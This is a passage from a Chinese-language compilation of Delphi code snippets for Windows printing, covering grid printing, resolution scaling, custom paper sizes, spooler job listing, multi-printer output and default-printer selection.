Printer.PrinterIndex := Printer.PrinterIndex;

end;

end;

end;


打印测试页
rundll32 msprint2.dll,RUNDLL_PrintTestPage


打印TstringGrid

Here's the code. Just whack this onto a form's code and away you go.....

procedure PrintGrid(sGrid: TStringGrid; sTitle: String);

var

X1, X2 : Integer;

Y1, Y2 : Integer;

TmpI : Integer;

F : Integer;

TR : TRect;

begin

Printer.Title:=sTitle;

Printer.BeginDoc;

Printer.Canvas.Pen.Color:=0;

Printer.Canvas.Font.Name:='Times New Roman';

Printer.Canvas.Font.Size:=12;

Printer.Canvas.Font.Style:=[fsBold, fsUnderline];

Printer.Canvas.TextOut(0, 100, Printer.Title);

For F:=1 to sGrid.ColCount-1 do begin

X1:=0;

For TmpI:=1 to (F-1) do

X1:=X1+5*(sGrid.ColWidths[TmpI]);

Y1:=300;

X2:=0;

For TmpI:=1 to F do

X2:=X2+5*(sGrid.ColWidths[TmpI]);

Y2:=450;

TR:=Rect(X1, Y1, X2-30, Y2);

Printer.Canvas.Font.Style:=[fsBold];

Printer.Canvas.Font.Size:=7;

Printer.Canvas.TextRect(TR, X1+50, 350, sGrid.Cells[F, 0]);

Printer.Canvas.Font.Style:=[];

For TmpI:=1 to sGrid.RowCount-1 do begin

Y1:=150*TmpI+300;

Y2:=150*(TmpI+1)+300;

TR:=Rect(X1, Y1, X2-30, Y2);

Printer.Canvas.TextRect(TR, X1+50, Y1+50, sGrid.Cells[F, TmpI]);

end;

end;

Printer.EndDoc;

end;

Author: John C Molyneux


打印机的分辨率和在不同分辨率下打印

uses printers;

Windows下的打印分辨对打印程序有着至关重要的作用，如果你想知道

打印机的分辨率，请在程序中加入一行：ShowMessage('水平分辨率'+inttost

r(GetDeviceCaps(printer.Handle,LOGPIXELSX))+chr(13)+'垂直分辨率：'

+inttostr(GetDeviceCaps(printer.Handle,LOGPIXELSY)));结果就一目了

然了。

如何在不同的打印分辨率下面打印？

下面给出一个函数，在调用这个函数之后，你就可以使用Font.Size来设置字体的大小而与打印机分辨率无关了。

注意必须在Printer.BeginDoc之后调用这个函数！

{-------------------------------------------------------------

Sets the logical dots per inch for the printer and sets the printer axes to point RIGHT and DOWN. Thus (0,0) is at the top left corner of the page. Returns the page size in logical coordinates.

Note: Must be called AFTER Printer.BeginDoc.

--------------------------------------------------------------}

function SetPrinterScale(dpi : integer) : TPoint;

var

DeviceDpiX, DeviceDpiY : integer;

begin

with Printer do begin

SetMapMode(Handle, MM_ISOTROPIC);

SetWindowExt(Handle, dpi, dpi);

DeviceDpiX := GetDeviceCaps(Handle, LOGPIXELSX);

DeviceDpiY := GetDeviceCaps(Handle, LOGPIXELSY);

SetViewPortExt(Handle, DeviceDpiX, DeviceDpiY);

Result := Point(PageWidth, PageHeight);

with Canvas do begin

DPtoLP(Handle, Result, 1); { This API call is required... }

Font.PixelsPerInch := DPI; { ...to make this work. (Who knows why?) }

end;

end;

end;


获得打印机的信息

下面的代码可以判断所选打印机是否支持双面打印。如返回值为1，则表示支持双面打

印，返回值为0则表示不支持。

DeviceCapabilitiesA(Device,Port,DC_DVPLEX,nil,nil);

下面的代码可以获得一个打印机最多能复制的份数：

DeviceCapabilitiesA(Device,Port,DC_COPIES,nil,nil);

使用GetDeviceCaps()函数确定所选设备的特定属性。在某些情况下，GetDeviceCaps()将返回所需

要的值。下面的代码以毫米为单位返回打印机设备的宽度：

GetDeviceCaps(Printer.Handle,HORISIZE);

在另一些情况下，GetDeviceCaps()返回一个整数，这个整数经过位屏蔽可以获得打印机的某一性

能。例如，GetDeviceCaps()方法返回这样的整型值：

RCaps:=GetDeviceCaps(Printer.Handle,RASTERCAPS);

然后，通过AND运算符屏蔽出RC_BANDING字段，进而确定打印机是否支持分段打印技术。

(RCapsandRC_BANDING)=RC_BANDING

***************

获取打印机状态信息

var

pinfo: pPRINTERINFO2;

pprt,a: Cardinal;

b:PDWORD;

begin

b:=allocmem(256);

pinfo:=AllocMem(1000);

if OpenPrinter('HP DJ 200',pprt,nil) then

begin

a:=1000;

if getprinter(pprt,2,pinfo,a,b) then

showmessage(pinfo.pPrinterName+' ststus:'+inttostr(pinfo.Status));

ClosePrinter(pprt);

end;

freemem(b);

freemem(pinfo);

end;

PRINTER_INFO_2.Status :

Windows NT:

PRINTER_STATUS_PAUSED

PRINTER_STATUS_PENDING_DELETION

Windows 95:

PRINTER_STATUS_BUSY

PRINTER_STATUS_DOOR_OPEN

PRINTER_STATUS_ERROR

PRINTER_STATUS_INITIALIZING

PRINTER_STATUS_IO_ACTIVE

PRINTER_STATUS_MANUAL_FEED

PRINTER_STATUS_NO_TONER

PRINTER_STATUS_NOT_AVAILABLE

PRINTER_STATUS_OFFLINE

PRINTER_STATUS_OUT_OF_MEMORY

PRINTER_STATUS_OUTPUT_BIN_FULL

PRINTER_STATUS_PAGE_PUNT

PRINTER_STATUS_PAPER_JAM

PRINTER_STATUS_PAPER_OUT

PRINTER_STATUS_PAPER_PROBLEM

PRINTER_STATUS_PAUSED

PRINTER_STATUS_PENDING_DELETION

PRINTER_STATUS_PRINTING

PRINTER_STATUS_PROCESSING

PRINTER_STATUS_TONER_LOW

PRINTER_STATUS_UNAVAILABLE

PRINTER_STATUS_USER_INTERVENTION

PRINTER_STATUS_WAITING

PRINTER_STATUS_WARMING_UP


自定义纸张

procedure TForm1.Button1Click(Sender: TObject);

var

Device : array[0..255] of char;

Driver : array[0..255] of char;

Port : array[0..255] of char;

hDMode : THandle;

PDMode : PDEVMODE;

begin

Printer.PrinterIndex := Printer.PrinterIndex;

Printer.GetPrinter(Device, Driver, Port, hDMode);

if hDMode <> 0 then begin

pDMode := GlobalLock(hDMode);

if pDMode <> nil then

begin

{Set to legal}

pDMode^.dmFields := pDMode^.dmFields or dm_PaperSize;

pDMode^.dmPaperSize := DMPAPER_LEGAL; {Set to custom size}

pDMode^.dmFields := pDMode^.dmFields or

DM_PAPERSIZE or

DM_PAPERWIDTH or

DM_PAPERLENGTH;

pDMode^.dmPaperSize := DMPAPER_USER;

pDMode^.dmPaperWidth := 100 {SomeValueInTenthsOfAMillimeter};

pDMode^.dmPaperLength := 100 {SomeValueInTenthsOfAMillimeter};

{Set the bin to use}

pDMode^.dmFields := pDMode^.dmFields or DMBIN_MANUAL;

pDMode^.dmDefaultSource := DMBIN_MANUAL;

GlobalUnlock(hDMode);

end;

end;

Printer.PrinterIndex := Printer.PrinterIndex;

Printer.BeginDoc;

Printer.Canvas.TextOut(100,100, 'Test 1');

Printer.EndDoc;

end;

************************

var

device:array[0..cchdevicename-1] of char;

driver:array[0..(max_path-1)] of char;

port:array[0..32] of char;

hdmode:thandle;

pdmode:pdevmode;

begin

printer.getprinter(device,driver,port,hdmode);

if hdmode<>0 then

begin

pdmode:=globallock(hdmode);

if pdmode<>nil then

begin

pdmode^.dmpapersize:=dmpaper_a5;

pdmode^.dmfields:=pdmode^.dmfields or dm_papersize;

globalunlock(hdmode);

end;

end;

end;


自定义纸张大小

这样吧，用Delphi举个例子吧，以下程序将打印机纸张设为：114mm*190mm：

procedure PreparePrinter;

var

aDevice: array[0..CCHDEVICENAME-1] of Char;

aDriver: array[0..MAX_PATH-1] of Char;

aPort: array[0..31] of Char;

hDevMode: THandle;

pDevMode: PDeviceMode;

begin

// 获取打印机DeviceMode的句柄

Printer.GetPrinter(aDevice, aDriver, aPort, hDevMode);

if hDevMode <> 0 then

begin

// 获取指向DeviceMode的指针

pDevMode := GlobalLock(hDevMode);

if pDevMode <> nil then

begin

pDevMode^.dmPaperSize := DMPAPER_USER;

pDevMode^.dmPaperLength := 1140;

pDevMode^.dmPaperWidth := 1900;

pDevMode^.dmFields := pDevMode^.dmFields or DM_PAPERSIZE;

pDevMode^.dmFields := pDevMode^.dmFields or DM_PAPERLENGTH;

pDevMode^.dmFields := pDevMode^.dmFields or DM_PAPERWIDTH;

ResetDC(Printer.Handle, pDevMode^);

GlobalUnlock(hDevMode);

end;

end;

end;

用修改

DeviceMode的方法的话，只是改变你程序中的打印机设置，不会影响其他程序打印的。


用API直接打印

用API直接打印

uses CommDlg;

{$IFNDEF WIN32}

const MAX_PATH = 144;

{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);

var

Pd : TPrintDlg;

DocInfo: TDocInfo;

begin

FillChar(Pd, sizeof(Pd), #0);

Pd.lStructSize := sizeof(Pd);

Pd.hWndOwner := Form1.Handle;

Pd.Flags := PD_RETURNDC;

if PrintDlg(pd) then begin

FillChar(DocInfo, sizeof(DocInfo), #0);

DocInfo.cbSize := SizeOf(DocInfo);

GetMem(DocInfo.lpszDocName, 32);

GetMem(DocInfo.lpszOutput, MAX_PATH);

lStrCpy(DocInfo.lpszDocName, 'My Document');

{Add this line to print to a file }

lStrCpy(DocInfo.lpszOutput, 'C:.doc');

StartDoc(Pd.hDc, DocInfo);

StartPage(Pd.hDc);

TextOut(Pd.hDc, 100, 100, 'Page 1', 6);

EndPage(Pd.hDc);

StartPage(Pd.hDc);

TextOut(Pd.hDc, 100, 100, 'Page 2', 6);

EndPage(Pd.hDc);

EndDoc(Pd.hDc);

FreeMem(DocInfo.lpszDocName, 32);

FreeMem(DocInfo.lpszOutput, MAX_PATH);

end;

end;


启动默认

启动默认打印机管理程序

为默认打印机创建一个快捷方式后，用ShellExecute运行可以启动默认

打印机管理程序。如果不创建快捷方式，如何直接启动。

感谢http://www.experts-exchange.com/Q.10115433, 以下代码ShowPrintSpool可以实现:

function ExecuteContextMenuCommand(hParent: THandle; sf: IShellFolder; childPidl: PItemIDList;

verb: string = ''; propPage: string = ''; pidlCount: UInt = 1): Boolean;

var

cm, cm2, cm3: IContextMenu;

ici: TCMInvokeCommandInfo;

pop : HMenu;

c: Cardinal;

begin

Result := False;

if sf.GetUIObjectOf(hParent, pidlCount, childPidl, IID_IContextMenu,nil, Pointer(cm)) <> NOERROR then Exit;

try

cm2 := cm as IContextMenu2;

cm := cm2;

try

cm3 := cm as IContextMenu3;

cm := cm3;

except

end;

except

end;

ZeroMemory(@ici, sizeOf(ici));

with ici do

begin

cbSize := sizeOf(TCMInvokeCommandInfo);

fMask := CMIC_MASK_FLAG_NO_UI;

hWnd := hParent;

lpVerb := PChar(verb);

lpParameters := PChar(propPage); //'Settings';

nShow := SW_SHOW;

end;

if verb <> '' then

Result := cm.InvokeCommand(ici) = NOERROR

else

begin

pop := CreatePopupMenu;

try

if Succeeded(cm.QueryContextMenu(pop, 0, 1, $7FFF, CMF_DEFAULTONLY)) then

begin

c := GetMenuDefaultItem(pop, 0, 0);

if c <> 0 then

begin

ici.lpVerb := MakeIntResource(c - 1);

Result := cm.InvokeCommand(ici) = NOERROR;

end;

end;

finally

DestroyMenu(pop)

end;

end

end;

function PidlToStr(sf: IShellFolder; childPidl: PItemIDList): string;

var

sr: _StrRet;

begin

Result := '';

if (sf = nil) or (childPidl = nil) then Exit;

sr.uType := STRRET_CSTR;

if sf.GetDisplayNameOf(childPidl,SHGDN_NORMAL,sr) = NOERROR then

case sr.uType of

STRRET_CSTR : Result := string(sr.cStr);

STRRET_OFFSET : Result := string(PChar(Cardinal(childPidl) + sr.uOffset));

STRRET_WSTR : Result := string(sr.pOleStr);

end;

end;

function DefaultPrinterDevice: string;

var

Device, Driver, Port: array [0..255] of Char;

Mode: THandle;

begin

Device := '';

with Printer do

if Printers.Count > 0 then

GetPrinter(Device, Driver, Port, Mode);

Result := Device;

end;

procedure ShowPrintSpool;

var

pidl1, pidl2: PItemIDList;

sf1, sf2: IShellFolder;

malloc: IMalloc;

el: IEnumIDList;

c: Cardinal;

sDefaultPrinter: string;

begin

if (SHGetSpecialFolderLocation(INVALID_HANDLE_VALUE, CSIDL_PRINTERS, pidl1) = NOERROR) and

(SHGetMalloc(malloc) = NOERROR) then

try

if (pidl1^.mkid.cb <> 0) and (SHGetDesktopFolder(sf1) = NOERROR) and

(sf1.BindToObject(pidl1, nil, IID_IShellFolder, Pointer(sf2)) = NOERROR) and

(sf2.EnumObjects(Application.Handle, High(Cardinal), el) = NOERROR) then

begin

sDefaultPrinter := DefaultPrinterDevice;

el.Reset;

while el.Next(1, pidl2, c) = NOERROR do

begin

if PidlToStr(sf2, pidl2) = sDefaultPrinter then

ExecuteContextMenuCommand(Application.Handle, sf2, pidl2);

malloc.Free(pidl2);

end;

end;

finally

malloc.Free(pidl1);

end;

end;


获取打印机的文档状态

其中主要程序如下：

type

TMainFrm = class(TForm)

Pages: TPageControl;

PrinterSht: TTabSheet;

PrinterLst: TListBox;

...

private

procedure SpollerStatus(var Msg:TWMSpoolerStatus); message WM_SPOOLERSTATUS;

...

uses

WinSpool, ExtCtrls;

procedure TMainFrm.SpollerStatus(var Msg:TWMSpoolerStatus);

var

tbt:Byte;

Needed,Returned:DWORD;

ResultBuffer:Pointer;

i,x,Count:Integer;

Pi:PJobInfo1;

hPrinter:THandle;

List:TListBox;

Lbl:TLabel;

begin

for i:=1 to Pages.PageCount-1 do begin

hPrinter:=Pages.Pages[i].Tag;

List:=Pages.Pages[i].Controls[0] as TListBox;

Lbl:=((Pages.Pages[i].Controls[1] as TPanel)

.Controls[0] as TLabel);

List.Clear;

EnumJobs(hPrinter,0,Msg.JobsLeft,1,@tbt,0,Needed,Returned);

if Needed=0 then begin

Lbl.Caption:='0 个作业';

Continue;

end;

Count:=Needed;

if Count<=0 then begin

Lbl.Caption:='0 个作业';

Continue;

end;

GetMem(ResultBuffer,Count);

try

EnumJobs(hPrinter,0,Msg.JobsLeft,1,ResultBuffer,Needed,Needed,Returned);

if Returned>Msg.JobsLeft then begin

Lbl.Caption:='0 个作业';

Continue;

end;

Lbl.Caption:=IntToStr(Returned)+' 个作业';

Pi:=ResultBuffer;

for x:=0 to Returned-1 do begin

List.Items.Add(Pi^.pDocument);

Pi:=PJobInfo1(LongInt(Pi)+Sizeof(Pi^));

end;

finally

FreeMem(ResultBuffer,Count);

end;

end;

Msg.Result:=0;

end;

procedure TMainFrm.FormCreate(Sender: TObject);

var

tbt:Byte;

Needed,Returned:DWORD;

ResultBuffer:Pointer;

x,Count:Integer;

Pi:PPrinterInfo1;

Sheet:TTabSheet;

hPrinter:THandle;

Panel:TPanel;

begin

PrinterLst.Clear;

EnumPrinters(PRINTER_ENUM_LOCAL,'',1,@tbt,0,Needed,Returned);

if Needed=0 then Exit;

Count:=Needed;

GetMem(ResultBuffer,Count);

EnumPrinters(PRINTER_ENUM_LOCAL,'',1,ResultBuffer,Needed,Needed,Returned);

Pi:=ResultBuffer;

for x:=0 to Returned-1 do begin

PrinterLst.Items.Add(Pi^.pName);

Pi:=PPrinterInfo1(LongInt(Pi)+Sizeof(Pi^));

Sheet:=TTabSheet.Create(Self);

with Sheet do begin

PageControl:=Pages;

Caption:=PrinterLst.Items[PrinterLst.Items.Count-1];

OpenPrinter(PChar(Caption),hPrinter,nil);

Tag:=hPrinter;

ClosePrinter(hPrinter);

with TListBox.Create(Self) do begin

Parent:=Sheet;

Align:=alClient;

end;

Panel:=TPanel.Create(Self);

with Panel do begin

Parent:=Sheet;

Align:=alTop;

Height:=20;

BevelOuter:=bvNone;

end;

with TLabel.Create(Self) do begin

Parent:=Panel;

Left:=10;

Top:=3;

Caption:='0 个作业';

end;

end;

end;

FreeMem(ResultBuffer,Count);

end;

procedure TMainFrm.FormDestroy(Sender: TObject);

var

i,j:Integer;

begin

for i:=1 to Pages.PageCount-1 do

with Pages.Pages[i] do begin

((Controls[1] as TPanel).Controls[0] as TLabel).Free;

for j:=0 to ControlCount-1 do

Controls[0].Free;

Free;

end;

end;


获取打印机的打印任务列表

如何在程序里判断一个打印作业已经进入打印队列（也就是可以在打印管理程序里看到该作业的信息），或者说如何察看打印队列里已有的作业信息？

看下面的这个例程。还有测试代码。

uses WinSpool;

type JOB_INFO_1_ARRAY = Array of JOB_INFO_1;

Function GetSpoolerJobs(sPrinterName : String) : JOB_INFO_1_ARRAY;

var

i : Integer;

hPrinter : THandle;

bResult : Boolean;

cbBuf : DWORD;

pcbNeeded : DWORD;

pcReturned : DWORD;

aJobs : Array[0..99] of JOB_INFO_1;

begin

cbBuf := 1000;

bResult := OpenPrinter(PChar(sPrinterName), hPrinter, Nil);

if NOT bResult then begin

ShowMessage('Error opening the printer');

exit;

end;

bResult := EnumJobs(hPrinter,0,Length(aJobs),1,@aJobs,cbBuf,pcbNeeded,pcReturned);

if NOT bResult then begin

ShowMessage('Error Getting Jobs information');

exit;

end;

for i:=0 to pcReturned-1 do begin

if aJobs[i].pDocument <> Nil then begin

SetLength(Result, Length(Result)+1);

Result[Length(Result)-1] := aJobs[i];

end;

end;

end;

测试例子：

1- 创建工程有 StringGrid 和一个 Timer.

2- StringGrid 'ColCount' and “RowCount” 值为 20

3- Timer的 “Interval” 属性值 500.

4- “OnTime” 实践中写这个代码

procedure TForm1.Timer1Timer(Sender: TObject);

var

i, ii : Integer;

aJobs : JOB_INFO_1_ARRAY;

begin

for i:=0 to StringGrid1.ColCount-1 do

for ii:=0 to StringGrid1.RowCount-1 do StringGrid1.Cells[i,ii] := '';

aJobs := GetSpoolerJobs('\ibmserverLaserJet 1100');//正在打印的打印机名字，这里我的打印机时网打。这里你要自己改

for i:=0 to Length(aJobs)-1 do begin

StringGrid1.Cells[i,0] := aJobs[i].pPrinterName;

StringGrid1.Cells[i,1] := aJobs[i].pMachineName;

StringGrid1.Cells[i,2] := aJobs[i].pUserName;

StringGrid1.Cells[i,3] := aJobs[i].pDocument;

StringGrid1.Cells[i,4] := aJobs[i].pDatatype;

StringGrid1.Cells[i,5] := aJobs[i].pStatus;

StringGrid1.Cells[i,6] := IntToStr(aJobs[i].Status);

case aJobs[i].Status of

JOB_STATUS_PAUSED: StringGrid1.Cells[i,6] := 'JOB_STATUS_PAUSED';

JOB_STATUS_ERROR: StringGrid1.Cells[i,6] := 'JOB_STATUS_ERROR';

JOB_STATUS_DELETING: StringGrid1.Cells[i,6] := 'JOB_STATUS_DELETING';

JOB_STATUS_SPOOLING: StringGrid1.Cells[i,6] := 'JOB_STATUS_SPOOLING';

JOB_STATUS_PRINTING: StringGrid1.Cells[i,6] := 'JOB_STATUS_PRINTING';

JOB_STATUS_OFFLINE: StringGrid1.Cells[i,6] := 'JOB_STATUS_OFFLINE';

JOB_STATUS_PAPEROUT: StringGrid1.Cells[i,6] := 'JOB_STATUS_PAPEROUT';

JOB_STATUS_PRINTED: StringGrid1.Cells[i,6] := 'JOB_STATUS_PRINTED';

JOB_STATUS_DELETED: StringGrid1.Cells[i,6] := 'JOB_STATUS_DELETED';

JOB_STATUS_BLOCKED_DEVQ: StringGrid1.Cells[i,6] := 'JOB_STATUS_BLOCKED_DEVQ';

JOB_STATUS_USER_INTERVENTION: StringGrid1.Cells[i,6] := 'JOB_STATUS_USER_INTERVENTION';

JOB_STATUS_RESTART: StringGrid1.Cells[i,6] := 'JOB_STATUS_RESTART';

JOB_POSITION_UNSPECIFIED: StringGrid1.Cells[i,6] := 'JOB_POSITION_UNSPECIFIED';

else StringGrid1.Cells[i,6] := 'Unknown status...';

end;

end;

StringGrid1.Refresh;

end;

5- 运行程序，打印程序测之

OK

⌒_⌒


使用打印机内置字体打印

使用打印机内置字体打印

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);

var

tm : TTextMetric;

i : integer;

begin

if PrintDialog1.Execute then begin

Printer.BeginDoc;

Printer.Canvas.Font.Handle := GetStockObject(DEVICE_DEFAULT_FONT);

GetTextMetrics(Printer.Canvas.Handle, tm);

for i := 1 to 10 do begin

Printer.Canvas.TextOut(100,

i * tm.tmHeight +

tm.tmExternalLeading,

'Test');

end;

Printer.EndDoc;

end;

end;


同时打印到多台打印机

同时打印到多台打印机

Yes! The following example demonstrates how to print to more than

one printer at a given time. The exmple does not use TPrinter, since

TPrinter does not support printing to multiple printers at a given

time.

Example:

unit multiprn;

interface

{$IFDEF WIN32}

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls;

{$ELSE}

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,

Controls, Forms, Dialogs, StdCtrls;

{$ENDIF}

type

TForm1 = class(TForm)

Button1: TButton;

ListBox1: TListBox;

ListBox2: TListBox;

ListBox3: TListBox;

procedure FormCreate(Sender: TObject);

procedure ListBox1Click(Sender: TObject);

procedure ListBox2Click(Sender: TObject);

procedure ListBox3Click(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

procedure GetTheListOfPrinters;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

type

PdcArray = ^TdcArray;

TdcArray = array[0..0] of hdc;

procedure TForm1.GetTheListOfPrinters;

var

p : pChar;

p2 : pChar;

i : integer;

sDriver : string;

sPort : string;

begin

GetMem(p, 32767);

p2 := p;

{Get a list of the printer names from the win.ini file.}

{The list will be a buffer filled with strings, each seperated}

{by a null character, with the final string terminated with}

{a two null characters}

if GetProfileString('devices', nil, '',p, 32767) <> 0 then begin

{loop though the null terminated strings. We know we}

{have reached the end when p2 equals a null character}

while p2^ <> #0 do begin

ListBox1.Items.Add(StrPas(p2));

{increment the pointer past the null to get the next string}

p2 := @p2[lStrLen(p2) + 1];

end;

end;

GetMem(p2, 32767);

{Get the driver and port names for each printer found}

for i := 0 to (ListBox1.Items.Count - 1) do begin

StrPCopy(p2, ListBox1.Items[i]);

if GetProfileString('devices', p2, '',p, 32767) <> 0 then begin

sDriver := StrPas(p);

sPort := sDriver;

{The driver is the portion of the string before the comma}

Delete(sDriver, Pos(',', sDriver), Length(sDriver));

{The port is the portion of the string after the comma}

Delete(sPort, 1, Pos(',', sPort));

ListBox2.Items.Add(sDriver);

ListBox3.Items.Add(sPort);

end;

end;

FreeMem(p2, 32767);

FreeMem(p, 32767);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

GetTheListOfPrinters;

{Allow the user to select multiple printers}

ListBox1.MultiSelect := true;

ListBox2.MultiSelect := true;

ListBox3.MultiSelect := true;

end;

procedure TForm1.ListBox1Click(Sender: TObject);

var

i : integer;

begin

{Select same indexes in ListBoxs 2 and 3 as are selected in Listbox1}

for i := 0 to ListBox1.Items.Count - 1 do begin

ListBox2.Selected[i] := ListBox1.Selected[i];

ListBox3.Selected[i] := ListBox1.Selected[i]

end;

end;

procedure TForm1.ListBox2Click(Sender: TObject);

var

i : integer;

begin

{Select same indexes in ListBoxs 1 and 3 as are selected in Listbox2}

for i := 0 to ListBox2.Items.Count - 1 do begin

ListBox1.Selected[i] := ListBox2.Selected[i];

ListBox3.Selected[i] := ListBox2.Selected[i]

end;

end;

procedure TForm1.ListBox3Click(Sender: TObject);

var

i : integer;

begin

{Select same indexes in ListBoxs 1 and 2 as are selected in Listbox3}

for i := 0 to ListBox3.Items.Count - 1 do begin

ListBox1.Selected[i] := ListBox3.Selected[i];

ListBox2.Selected[i] := ListBox3.Selected[i]

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

dcs : PdcArray; {a pointer to an array of hdc's}

dcsCount : integer; {count of valad hdc's}

dc : hdc; {test hdc}

i : integer; {couning variable}

pPrinter : pChar; {pointer to a printer name}

pDriver : pChar; {pointer to a printer driver filename}

pPort : pChar; {pointer to a port}

DocInfo: TDocInfo; {document information for the spooler}

{$IFDEF WIN32}

osv : TOSVERSIONINFO; {to test for Windows NT}

{$ENDIF}

begin

{If there are no printers selected then exit}

if ListBox1.SelCount = 0 then exit;

{If Range Checking is on then rember the setting and turn it off}

{This will allow use to access the dcs[i] array past element zero}

{without a compiler or runtime error}

{$IFOPT R+}

{$DEFINE CKRANGE}

{$R-}

{$ENDIF}

{Allocate the array of dcs}

GetMem(dcs, sizeof(hdc) * ListBox1.SelCount);

dcsCount := 0;

{Loop though the printers that are selected and create dc's for each}

for i := 0 to (ListBox1.Items.Count - 1) do begin

{Loop through the list box to find the selected printers}

if ListBox1.Selected[i] then begin

{Allocate and get the Printer, Driver and port from the listboxs}

{in the form of a null terminated string}

GetMem(pPrinter, Length(ListBox1.Items[i]) + 1);

GetMem(pDriver, Length(ListBox2.Items[i]) + 1);

GetMem(pPort, Length(ListBox3.Items[i]) + 1);

StrPCopy(pPrinter, ListBox1.Items[i]);

StrPCopy(pDriver, ListBox2.Items[i]);

StrPCopy(pPort, ListBox3.Items[i]);

{Attempt to create a dc - notes 1) Not all printers can}

{support multiple dc's at one time. 2) CreateDc requires}

{different parameters if Win32 andor Win32 under NT.}

{Sixteen bit win apps get standard handling}

{$IFDEF WIN32}

GetVersionEx(osv);

if osv.dwPlatformId = VER_PLATFORM_WIN32_NT then

dc := CreateDc(pDriver, pPrinter, nil, nil) else

dc := CreateDc(nil, pPrinter, nil, nil);

{$ELSE}

dc := CreateDc(pDriver, pPrinter, pPort, nil);

{$ENDIF}

FreeMem(pPrinter, Length(ListBox1.Items[i]));

FreeMem(pDriver, Length(ListBox2.Items[i]));

FreeMem(pPort, Length(ListBox3.Items[i]));

{If the dc is valid, then lets save it to our array}

{and increment our count}

if dc <> 0 then begin

dcs^[dcsCount] := dc;

inc(dcsCOunt);

end;

end;

end;

{If we ended up with a valid array of dc's then let's print}

if dcsCount > 0 then begin

{Fill Out the DocInfo structure for the spooler}

{and start a document for each printer}

GetMem(DocInfo.lpszDocName, 32);

for i := 0 to (dcsCount - 1) do begin

FillChar(DocInfo, sizeof(DocInfo), #0);

DocInfo.cbSize := SizeOf(DocInfo);

StrPCopy(DocInfo.lpszDocName, 'Test Doc' + IntToStr(i));

StartDoc(dcs^[i], DocInfo);

end;

FreeMem(DocInfo.lpszDocName, 32);

{Start a page for each printer}

for i := 0 to (dcsCount - 1) do

StartPage(dcs^[i]);

{Print something}

for i := 0 to (dcsCount - 1) do

TextOut(dcs^[i], 200, 200, 'Test', 4);

{End a page for each printer}

for i := 0 to (dcsCount - 1) do

EndPage(dcs^[i]);

{End the document for each printer}

for i := 0 to (dcsCount - 1) do

EndDoc(dcs^[i]);

{Delete the dc for each printer}

for i := 0 to (dcsCount - 1) do

DeleteDc(dcs^[i]);

end; {dcsCount}

{Free our array of printers}

FreeMem(dcs, sizeof(hdc) * ListBox1.SelCount);

{If range checking was on when we started then turn it back on}

{$IFDEF CKRANGE}

{$UNDEF CKRANGE}

{$R+}

{$ENDIF}

end;

end.


切换打印机的彩色模式

切换打印机的彩色模式

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);

var

Device : array[0..255] of char;

Driver : array[0..255] of char;

Port : array[0..255] of char;

hDMode : THandle;

PDMode : PDEVMODE;

begin

with Printer do begin

PrinterIndex := PrinterIndex;

GetPrinter(Device, Driver, Port, hDMode);

if hDMode <> 0 then begin

pDMode := GlobalLock(hDMode);

if pDMode <> nil then begin

pDMode.dmFields := pDMode.dmFields or dm_Color;

pDMode.dmColor := DMCOLOR_COLOR;

GlobalUnlock(hDMode);

end;

end;

PrinterIndex := PrinterIndex;

BeginDoc;

Canvas.Font.Color := clRed;

Canvas.TextOut(100,100, 'Red As A Rose!');

EndDoc;

end;

end;


改变打印机的打印端口

改变打印机的打印端口

uses Printers;

{$IFNDEF WIN32}

const MAX_PATH = 144;

{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);

var

pDevice : pChar;

pDriver : pChar;

pPort : pChar;

hDMode : THandle;

PDMode : PDEVMODE;

begin

if PrintDialog1.Execute then begin

GetMem(pDevice, cchDeviceName);

GetMem(pDriver, MAX_PATH);

GetMem(pPort, MAX_PATH);

Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);

Printer.SetPrinter(pDevice, PDriver, 'FILE:', hDMode);

FreeMem(pDevice, cchDeviceName);

FreeMem(pDriver, MAX_PATH);

FreeMem(pPort, MAX_PATH);

Printer.BeginDoc;

Printer.Canvas.TextOut(100, 100, 'Delphi Is RAD!');

Printer.EndDoc;

end;

end;


设置默认打印机

窗体上有个TComBox，命名为cb1

窗体名为Form1

procedure TForm1.FormCreate(Sender: TObject);

begin

cb1.items.assign(printer.printers);

end;

procedure TForm1.Button1Click(Sender: TObject);

var LPrinter:string;

PrinIniFile:Tinifile;

LStr:string;

begin

LStr:=printer.Printers[cb1.itemindex];

delete(Lstr,pos(' on ',Lstr),Length(LStr));

PrinIniFile:=TIniFile.Create('WIN.ini');

try

LPrinter:=PrinIniFile.ReadString('Devices',LStr,'');

PrinIniFile.writestring('windows','device',LStr+','+LPrinter);

finally

PrinIniFile.free;

end;

end;

***********************

uses printers;

procedure SetDefaultPrinter(const printerindex:integer);

Var

FHandle : THandle;

HPrt : THandle;

PrtInfo5: PPrinterInfo5;

FDevice: array[0..79] of char;

FDriver: array[0..79] of char;

FPort: array[0..79] of char;

begin

{printerindex为选中打印机的索引，如果使用打印机名称，则此句可忽略}

Printer.PrinterIndex := printerindex;

Printer.GetPrinter (FDevice, FDriver, FPort, FHandle);

OpenPrinter(FDevice, HPrt, nil);

if HPrt = 0 then

raise(Exception.Create('不能打开打印机'));

try

PrtInfo5 := GetPrinterInfo5(HPrt);

PrtInfo5.Attributes := PrtInfo5.Attributes +

PRINTER_ATTRIBUTE_DEFAULT;

SetPrinter(HPrt,5,PrtInfo5,PRINTER_CONTROL_SET_STATUS);

FreeMem(PrtInfo5);

finally

ClosePrinter(HPrt);

end;

end;


打印位图

位图的默认格式是DIB格式，

而DIB格式正是打印机驱动程序所需要的，这就大大简化了打印位图的工作。如果遇到一个非DIB格

式的位图，可以把它复制给一个临时的TBitmap对象，然后把TBitmap.HandleType特性设为bmDIB，以

强制把位图临时转化为DIB格式，这样就可以打印出DIB格式的位图。

******************************

下面是Borland技术支持给出的一个演示性代码：

直接打印图象

Sending a bitmap based on the screen to the printer is an

invalid operation that will usually fail, unless the print

driver has been designed to detect this error condition and

compensate for the error. This means you should use the VCL

canvas methods Draw, StretchDraw,CopyRect, BrushCopy, and

